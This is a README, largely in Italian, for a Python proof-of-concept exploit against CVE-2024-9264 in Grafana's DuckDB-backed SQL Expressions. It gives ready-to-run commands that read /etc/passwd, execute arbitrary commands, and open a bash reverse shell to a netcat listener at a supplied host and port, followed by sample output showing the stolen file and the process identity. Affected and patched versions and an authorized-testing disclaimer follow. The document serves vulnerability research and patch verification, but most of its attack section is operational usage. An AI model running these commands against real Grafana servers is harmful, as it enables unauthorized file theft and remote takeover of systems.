
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
Proof of concept in Python per CVE-2024-9264, una vulnerabilità delle SQL Expressions di Grafana che può consentire l'inclusione locale di file e l'esecuzione di comandi autenticati quando duckdb è disponibile nel PATH del processo Grafana.
Solo per test autorizzati e ricerca. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob(). Se viene richiesta l'esecuzione di comandi, /etc/passwd viene usato come file di validazione predefinito.shellfs ed esegue un comando tramite una chiamata supportata da pipe.read_csv()/tmp/cve_2024_9264_out e stampa il risultato decodificato.L'endpoint vulnerabile può essere chiamato direttamente tramite API; non è richiesta l'interazione con la UI della dashboard. L'autenticazione è comunque richiesta.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
Quando si usa --file da solo, lo script legge direttamente quel file e stampa il contenuto decodificato nella sezione dei risultati della lettura file.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
Lo script esegue prima una validazione predefinita di lettura di /etc/passwd, quindi consegna il payload del comando. Nella sezione dei risultati stampa l'output decodificato del comando invece della risposta JSON grezza di Grafana.
Avvia un listener:
rlwrap nc -lvnp 4444
Invia il payload della reverse shell:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Queste opzioni si basano sulla CLI attuale dello script:
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Prodotto | Versione Affetta | Accesso Richiesto | Impatto |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x e 11.2.x precedenti alle release di sicurezza corrette | Viewer o superiore | Inclusione locale di file e injection di comandi quando DuckDB è presente nel PATH di Grafana |
Grafana segnala che lo sfruttamento richiede che il binario duckdb sia presente nel PATH del processo Grafana; le distribuzioni normali di Grafana non installano DuckDB per impostazione predefinita.
shellfs nell'ambiente target.-k o --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev